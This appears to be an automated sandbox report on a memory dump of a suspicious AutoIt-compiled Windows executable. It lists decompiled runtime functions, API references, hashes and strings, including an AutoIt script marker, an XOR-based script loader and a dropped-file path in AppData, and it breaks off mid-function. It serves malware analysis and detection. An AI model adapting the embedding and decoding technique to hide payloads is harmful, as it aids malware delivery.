0x00f06809
0x00f06810
0x00f06812
0x00f06815
0x00f0681c
0x00f06824
0x00f06828
0x00ee2930
0x00ee2930
0x00ee2930

APIs

_memmove.LIBCMT ref: 00F0681C

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: cb3ca9f3a284803d6831156f6c6df155b68c64cec4ad1ac307353cd51ddd65df
Instruction ID: 4d70c81312285cd8f867dad90f65106b876ea1f9dd2b17db7ad2db198424aaa5
Opcode Fuzzy Hash: cb3ca9f3a284803d6831156f6c6df155b68c64cec4ad1ac307353cd51ddd65df
Instruction Fuzzy Hash: 05F0A0712002009FC369EB6CE886D7B73E8DFC931471184ADF19AC7356EA35EC429BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EED9C0, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EED9C0(void** __esi) {
				void* _t9;
				int _t10;
				void** _t12;

				_t12 = __esi;
				_t9 =  *__esi;
				if(_t9 != 0) {
					if(_t9 == 0xffffffff) {
						goto L1;
					} else {
						_t10 = FindCloseChangeNotification(_t9); // executed
						 *__esi = 0;
						__esi[2] = 0;
						__esi[3] = 0;
						__esi[4] = 0;
						__esi[5] = 0;
						return _t10;
					}
				} else {
					L1:
					_t12[2] = 0;
					_t12[3] = 0;
					_t12[4] = 0;
					_t12[5] = 0;
					return _t9;
				}
			}

0x00eed9c0
0x00eed9c0
0x00eed9c7
0x00eed9da
0x00000000
0x00eed9dc
0x00eed9dd
0x00eed9e3
0x00eed9e5
0x00eed9e8
0x00eed9eb
0x00eed9ee
0x00eed9f2
0x00eed9f2
0x00eed9c9
0x00eed9c9
0x00eed9c9
0x00eed9cc
0x00eed9cf
0x00eed9d2
0x00eed9d6
0x00eed9d6

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00F06F2F), ref: 00EED9DD

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 8a612904a797bd4099e87ae96b63a0889731c7dc28e3185d8218e46bef22d9cd
Instruction ID: d2232d4d5a43f0da4c8cfa10a8dba15af62730e666c01852f49b5513169fec3f
Opcode Fuzzy Hash: 8a612904a797bd4099e87ae96b63a0889731c7dc28e3185d8218e46bef22d9cd
Instruction Fuzzy Hash: 30E04EB4904B049A87318F1BE844406FBF8AFE02253208E1FD4A6C2A64C3B4A1898F60

Uniqueness

Uniqueness Score: -1.00%

Function 00F23D3A, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00F23D3A(long _a4, void* _a8, long _a12) {
				long _t12;
				void** _t15;

				_t15 = _a4;
				E00F23D1D(_t15);
				WriteFile( *_t15, _a8, _a12,  &_a4, 0); // executed
				_t12 = _a4;
				_t15[4] = _t15[4] + _t12;
				asm("adc dword [esi+0x14], 0x0");
				return _t12;
			}

0x00f23d3e
0x00f23d42
0x00f23d58
0x00f23d5e
0x00f23d61
0x00f23d64
0x00f23d6a

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,?,?,?,00F06340,?,00F67AAC,00000003,00EEE0B0,?,?,00000001), ref: 00F23D58

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: deb5846e54a56405e635d2711a1e1cc7779b77bece768c6ae3a44030613554e5
Instruction ID: a035733abec4d202129a81800a13974335d06671bd65a6b5584147d09d1fe2c4
Opcode Fuzzy Hash: deb5846e54a56405e635d2711a1e1cc7779b77bece768c6ae3a44030613554e5
Instruction Fuzzy Hash: 1FE01276100318ABCB50DF98D844FDA77BCEF49760F00850AFA548B200C7B4EA808BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE270, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00EEE270(void** _a4) {
				void* _v8;
				void* _v12;

				_push(1);
				SetFilePointerEx( *_a4, 0, 0,  &_v12); // executed
				return _v12;
			}

0x00eee276
0x00eee288
0x00eee297

APIs

SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,?,00000001,?,00002000), ref: 00EEE288

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 25b9babe7532bb18d12c95e959121ef372ead16ffb4db3dfdadfa0e27bc9cda3
Instruction ID: 806427c535c5a8821e974fa41b62c5a088ab2cdd65ee48693e338c2a2d04e3d9
Opcode Fuzzy Hash: 25b9babe7532bb18d12c95e959121ef372ead16ffb4db3dfdadfa0e27bc9cda3
Instruction Fuzzy Hash: 30E01275604208BFC704DFA4DC45DAE7779E749201F008258FD01D7340D671AD5086A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF48E2, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00EF48E2(intOrPtr _a4, intOrPtr _a8) {
				void* __ebp;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t10;

				_push(0x40);
				_push(_a8);
				_push(_a4);
				_t3 = E00EF4824(_t4, _t5, _t6, _t7, _t10); // executed
				return _t3;
			}

0x00ef48e7
0x00ef48e9
0x00ef48ec
0x00ef48ef
0x00ef48f8

APIs

__wfsopen.LIBCMT ref: 00EF48EF

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction ID: 58d343e194c4c05ea08010bd22293e3bb9af0692003a656c8e3b7c4fa9942f98
Opcode Fuzzy Hash: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction Fuzzy Hash: 03C09B7244014C77CF111942DC02F5A3F5997C0760F045010FB1C191619573D66195D5

Uniqueness

Uniqueness Score: -1.00%

Function 00EF17FA, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00EF17FA(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t9;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E00EF16BA(_t3, _t4, _t5, _t6, _t9); // executed
				return _t2;
			}

0x00ef17ff
0x00ef1801
0x00ef1803
0x00ef1806
0x00ef180f

APIs

_doexit.LIBCMT ref: 00EF1806

Part of subcall function 00EF16BA: __lock.LIBCMT ref: 00EF16C8

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __lock_doexit
String ID:
API String ID: 368792745-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: e20c5182b855e5352c03af1f93c3104ebacad124e1716c606a88d9ea072673bc
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: FBB0923258020C73DA202542AC07F163A5A87C0B60E290160BA0C291A1A9A2A9618089

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00EFA128, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00EFA128(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0xf70d40; // 0xa8ad62a9
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0xf77278 = _t6;
				 *0xf77274 = _t22;
				 *0xf77270 = _t25;
				 *0xf7726c = _t21;
				 *0xf77268 = _t27;
				 *0xf77264 = _t26;
				 *0xf77290 = ss;
				 *0xf77284 = cs;
				 *0xf77260 = ds;
				 *0xf7725c = es;
				 *0xf77258 = fs;
				 *0xf77254 = gs;
				asm("pushfd");
				_pop( *0xf77288);
				 *0xf7727c =  *_t31;
				 *0xf77280 = _v0;
				 *0xf7728c =  &_a4;
				 *0xf771c8 = 0x10001;
				 *0xf7717c =  *0xf77280;
				 *0xf77170 = 0xc0000409;
				 *0xf77174 = 1;
				_t12 =  *0xf70d40; // 0xa8ad62a9
				_v812 = _t12;
				_t13 =  *0xf70d44; // 0x57529d56
				_v808 = _t13;
				 *0xf771c0 = IsDebuggerPresent();
				_push(1);
				E00EFFD39(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0xf643dc);
				if( *0xf771c0 == 0) {
					_push(1);
					E00EFFD39(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00efa128
0x00efa128
0x00efa128
0x00efa128
0x00efa128
0x00efa128
0x00efa128
0x00efa12e
0x00efa130
0x00efa130
0x00f01e31
0x00f01e36
0x00f01e3c
0x00f01e42
0x00f01e48
0x00f01e4e
0x00f01e54
0x00f01e5b
0x00f01e62
0x00f01e69
0x00f01e70
0x00f01e77
0x00f01e7e
0x00f01e7f
0x00f01e88
0x00f01e90
0x00f01e98
0x00f01ea3
0x00f01eb2
0x00f01eb7
0x00f01ec1
0x00f01ecb
0x00f01ed0
0x00f01ed6
0x00f01edb
0x00f01ee7
0x00f01eec
0x00f01eee
0x00f01ef6
0x00f01f01
0x00f01f0e
0x00f01f10
0x00f01f12
0x00f01f17
0x00f01f2b

APIs

IsDebuggerPresent.KERNEL32 ref: 00F01EE1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F01EF6
UnhandledExceptionFilter.KERNEL32(00F643DC), ref: 00F01F01
GetCurrentProcess.KERNEL32(C0000409), ref: 00F01F1D
TerminateProcess.KERNEL32(00000000), ref: 00F01F24

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: af43f63973aec510da47162c3aadfd1d5d3681e3cc431abaf026af5597a4a3bc
Instruction ID: b9e3e0e039ecfc0ed6cc5fb20f431cbc9c06ba451655febdb70dae2285ea76e4
Opcode Fuzzy Hash: af43f63973aec510da47162c3aadfd1d5d3681e3cc431abaf026af5597a4a3bc
Instruction Fuzzy Hash: 9421BAB492930CDFD750EF64ED496047BA4BB08300F50016AFA2C96772EBB669C1EF42

Uniqueness

Uniqueness Score: -1.00%

Function 00F48322, Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00F48322(void* __edx, void* __eflags, void* __fp0, intOrPtr* _a4) {
				char _v24;
				char _v40;
				char _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t35;
				void* _t37;
				void* _t39;
				char* _t53;
				void* _t61;
				void* _t62;
				intOrPtr* _t64;
				void* _t77;

				_t77 = __fp0;
				_t61 = __edx;
				E00EEBEC0( &_v24, __eflags);
				_t58 =  &_v40;
				E00EEBEC0( &_v40, __eflags);
				_t64 = _a4;
				if(E00F14A5A(_t64) != 0 || E00EF13CB(_t62,  *_t64, L"LAST") == 0) {
					_t53 = L"[LAST";
					goto L14;
				} else {
					if(E00EF13CB(_t62,  *_t64, L"ACTIVE") != 0) {
						_t33 = E00EF333F( *_t64, L"HANDLE=", 7);
						__eflags = _t33;
						if(_t33 != 0) {
							_t35 = E00EF333F( *_t64, L"REGEXP=", 7);
							__eflags = _t35;
							if(_t35 != 0) {
								_t37 = E00EF333F( *_t64, L"CLASSNAME=", "true");
								__eflags = _t37;
								if(_t37 != 0) {
									_t39 = E00EF13CB(_t62,  *_t64, L"ALL");
									__eflags = _t39;
									if(_t39 == 0) {
										_t53 = L"[ALL";
										goto L14;
									}
								} else {
									E00EE2390( &_v24, L"[CLASS:", _t61, _t62);
									_push(0xffffffff);
									_push("true");
									goto L10;
								}
							} else {
								E00EE2390( &_v24, L"[REGEXPTITLE:", _t61, _t62);
								_push(0xffffffff);
								_push(7);
								goto L10;
							}
						} else {
							E00EE2390( &_v24, L"[HANDLE:", _t61, _t62);
							_push(0xffffffff);
							_push(7);
							L10:
							_push( &_v56);
							_push(_t64);
							E00EEDE00( &_v40, E00F4125B(__eflags));
							_t58 =  &_v56;
							E00EE2480( &_v56);
							E00F4106D(__eflags, _t77,  &_v40);
							E00EEBFA0( &_v24, _t77,  &_v40);
							_t64 = _a4;
							goto L15;
						}
					} else {
						_t53 = L"[ACTIVE";
						L14:
						E00EE2390( &_v24, _t53, _t61, _t62);
						L15:
						E00EE1DE0( &_v24, _t58, "]", _t77);
						E00EEDE00(_t64,  &_v24);
					}
				}
				E00EE2480( &_v40);
				return E00EE2480( &_v24);
			}

APIs

__wcsicoll.LIBCMT ref: 00F48354
__wcsicoll.LIBCMT ref: 00F4836C
__wcsnicmp.LIBCMT ref: 00F4838C

Strings

[LAST, xrefs: 00F48445
ALL, xrefs: 00F4842C
ACTIVE, xrefs: 00F48366
[HANDLE:, xrefs: 00F48398
[REGEXPTITLE:, xrefs: 00F483C1
HANDLE=, xrefs: 00F48386
[CLASS:, xrefs: 00F483EA
REGEXP=, xrefs: 00F483AF
LAST, xrefs: 00F4834E
[ALL, xrefs: 00F4843E
CLASSNAME=, xrefs: 00F483D8
[ACTIVE, xrefs: 00F48378

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsicoll$__wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 790654849-1810252412
Opcode ID: 6a5eb52f0902981a3e2f2febc648fdb26df78f73cced5d4282628f32c44f42c5
Instruction ID: 615a4907a7c48049f8a6ffda68bad704787eb157c094c6a402eb29a5be2482bf
Opcode Fuzzy Hash: 6a5eb52f0902981a3e2f2febc648fdb26df78f73cced5d4282628f32c44f42c5
Instruction Fuzzy Hash: 3531A931E0420E66CB10EA61CD43FEE73EC9F11B51F501125FE50B71D6EE64EE45AAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F32833, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00F32833(void* __eflags, signed int _a4, intOrPtr* _a8, signed int* _a12, char _a15) {
				char _v12;
				char _v16;
				signed int _v20;
				short _v44;
				short _v594;
				short _v1116;
				short _v1120;
				short _v1124;
				short _v1128;
				short _v1132;
				short _v1136;
				short _v1140;
				short _v1144;
				short _v1148;
				char _v1152;
				char _v1680;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int* _t87;
				intOrPtr _t88;
				void* _t108;
				intOrPtr* _t111;

				_t87 = _a12;
				_t111 = _a4;
				_push(0);
				_v1152 = 0;
				_v1148 = 0;
				_v1144 = 0;
				_v1140 = 0;
				_v1136 = 0;
				_v1132 = 0;
				_v1128 = 0;
				_v1124 = 0;
				_v1120 = 0;
				_v44 = 0;
				_t13 = _t111 + 4; // 0xf88614
				_v1116 = 0;
				_push( *_t13);
				_push( *_t111);
				_v594 = 0;
				_v16 = 1;
				E00EF4FF1(_t87, 0, _t108, _t111, __eflags);
				if(E00F3268F(__eflags, _t111, L">>>AUTOIT SCRIPT<<<",  &_v1680) == 0) {
					E00EF4C24( &_a15, 1, 1,  *_t111);
					E00EF4C24( &_a4, 4, 1,  *_t111);
					_t110 = _a4 ^ 0x000087bc;
					E00EF4C24( &_a4, 4, 1,  *_t111);
					 *_t87 = _a4 ^ 0x000087bc;
					E00EF4C24( &_a4, 4, 1,  *_t111);
					_push(1);
					_v20 = _a4 ^ 0x0000a685;
					_push(0x10);
					_push( *_t111);
					E00EF4FF1(_t87,  &_a4, _a4 ^ 0x000087bc, _t111, __eflags);
					_v12 = E00EF34DB( &_a4, _a4 ^ 0x000087bc, _t111,  *_t87);
					_t88 = E00EF34DB( &_a4, _a4 ^ 0x000087bc, _t111, _a4 ^ 0x000087bc);
					E00EF4C24(_t88, _t110, 1,  *_t111);
					_t27 = _t111 + 8; // 0x0
					E00F2AF66( *_t87, __eflags, _t88, _t110,  *_t27 + 0x2477);
					E00F121FA( &_v16, _t88, _t110);
					__eflags = _v20 - _v16;
					if(_v20 == _v16) {
						__eflags = _a15 - 1;
						if(_a15 != 1) {
							E00EF3668(_v12);
							_v12 = _t88;
						} else {
							_v1144 = 0;
							_v1140 = 0;
							_v1136 = 0;
							_v1124 = 0;
							_v1120 = 0;
							_v44 = 0;
							_v1116 = 0;
							_v1132 = 1;
							_v1128 = 1;
							_v594 = 0;
							_v1148 = _t88;
							_v1152 = _v12;
							E00F2B120(0, _t110,  &_v1152);
							E00EF3668(_t88);
						}
						 *_a8 = _v12;
						__eflags = 0;
						return 0;
					} else {
						E00EF3668(_v12);
						E00EF3668(_t88);
						return 0xa;
					}
				} else {
					return 6;
				}
			}

APIs

_fseek.LIBCMT ref: 00F328A1

Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F326B4
Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F326F6
Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F32714
Part of subcall function 00F3268F: _wcscpy.LIBCMT ref: 00F32748
Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F32758
Part of subcall function 00F3268F: __fread_nolock.LIBCMT ref: 00F32776
Part of subcall function 00F3268F: _wcscpy.LIBCMT ref: 00F327A7

__fread_nolock.LIBCMT ref: 00F328D8
__fread_nolock.LIBCMT ref: 00F328E8
__fread_nolock.LIBCMT ref: 00F32901
__fread_nolock.LIBCMT ref: 00F3291B
_fseek.LIBCMT ref: 00F32935
_malloc.LIBCMT ref: 00F32940
_malloc.LIBCMT ref: 00F3294C
__fread_nolock.LIBCMT ref: 00F3295D
_free.LIBCMT ref: 00F3298C
_free.LIBCMT ref: 00F32995

Strings

C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00F32842
>>>AUTOIT SCRIPT<<<, xrefs: 00F328B0

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __fread_nolock$_free_fseek_malloc_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$C:\Users\user\AppData\Roaming\22032878\xaso.fhr
API String ID: 1255752989-1727138312
Opcode ID: 81a104be2eee50a8538d9be3c6c840d63cc4714652fae263458b59cfdb5586b2
Instruction ID: 60795b530570839f726a5e14cbe366f69df65bfe667a7657cc752fb9789953d3
Opcode Fuzzy Hash: 81a104be2eee50a8538d9be3c6c840d63cc4714652fae263458b59cfdb5586b2
Instruction Fuzzy Hash: CE511FF1900218ABDB60DF68DC81BAAB7F8EF88310F0055A9E648E7241E7759A80CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00F141CD, Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 91
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F141CD(intOrPtr _a4, int _a8, short* _a12, long _a16) {
				void* __edi;
				long _t9;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t14;
				char* _t24;
				short* _t25;

				_t25 = _a12;
				_t9 = 0;
				_t24 = _a16;
				 *_t24 = 0;
				_a16 = 0;
				if( *_t25 == 0) {
					L13:
					return _t9;
				} else {
					if(E00EF13CB(_t24, _t25, L"blank") != 0) {
						_t11 = E00EF13CB(_t24, _t25, L"info");
						if(_t11 == 0) {
							return LoadIconW(_t11, 0x7f04);
						}
						_t12 = E00EF13CB(_t24, _t25, L"question");
						if(_t12 != 0) {
							_t13 = E00EF13CB(_t24, _t25, L"stop");
							if(_t13 != 0) {
								_t14 = E00EF13CB(_t24, _t25, L"warning");
								if(_t14 != 0) {
									ExtractIconExW(_t25, _a8, 0,  &_a16, 1);
									_t9 = _a16;
									if(_t9 == 0) {
										goto L13;
									} else {
										 *_t24 = 1;
										return _t9;
									}
								} else {
									return LoadIconW(_t14, 0x7f03);
								}
							} else {
								return LoadIconW(_t13, 0x7f01);
							}
						} else {
							return LoadIconW(_t12, 0x7f02);
						}
					} else {
						return  *((intOrPtr*)(_a4 + 0x1b0));
					}
				}
			}

APIs

__wcsicoll.LIBCMT ref: 00F141EE
__wcsicoll.LIBCMT ref: 00F142A2
LoadIconW.USER32(00000000,00007F04), ref: 00F142B8

Strings

question, xrefs: 00F1420D
warning, xrefs: 00F14255
info, xrefs: 00F1429C
stop, xrefs: 00F14231
blank, xrefs: 00F141E8

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsicoll$IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2485277191-404129466
Opcode ID: ac807decbb245433a124a2185c10148fbe913136dd655c09c01b44bba655e3fd
Instruction ID: 64228da91f6035ad9864afed824df2a5137ba3a6e1571de4a8524e8f25c5ad41
Opcode Fuzzy Hash: ac807decbb245433a124a2185c10148fbe913136dd655c09c01b44bba655e3fd
Instruction Fuzzy Hash: 7B218672B4521D66DB109B65BC05FEA33989F95762F040032FA04E2186E3A6F961A2F6

Uniqueness

Uniqueness Score: -1.00%

Function 00F52095, Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 377
timeCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00F52095(void* __eflags, void* __fp0, long _a4, struct HDC__* _a8, char _a12) {
				signed int _v6;
				struct _SYSTEMTIME* _v8;
				struct HWND__* _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				struct tagRECT _v52;
				signed int _v56;
				char _v68;
				char _v100;
				char _v626;
				short _v628;
				char _v644;
				char _v660;
				char _v676;
				char _v684;
				char _v700;
				char _v708;
				char _v716;
				char _v732;
				char _v740;
				char _v748;
				char _v756;
				char _v772;
				char _v780;
				short _v800;
				char _v1330;
				char _v1332;
				signed int __ebx;
				struct HWND__* __edi;
				signed int __esi;
				void* _t195;
				struct HDC__* _t215;
				signed int _t229;
				void* _t233;
				void* _t235;
				void* _t241;

				_t241 = __fp0;
				_t215 = _a8;
				_v628 = 0;
				E00EF2E60( &_v626, 0, 0x208);
				_v1332 = 0;
				E00EF2E60( &_v1330, 0, 0x208);
				_t235 = _t233 + 0x18;
				_t229 = 0;
				_v8 = _a12;
				while(1) {
					_t195 = E00EF305C( *((intOrPtr*)(0xf71770 + _t229 * 4)), _v8);
					_t235 = _t235 + 8;
					if(_t195 == 0) {
						break;
					}
					_t229 = _t229 + 1;
					if(_t229 < 0x60) {
						continue;
					}
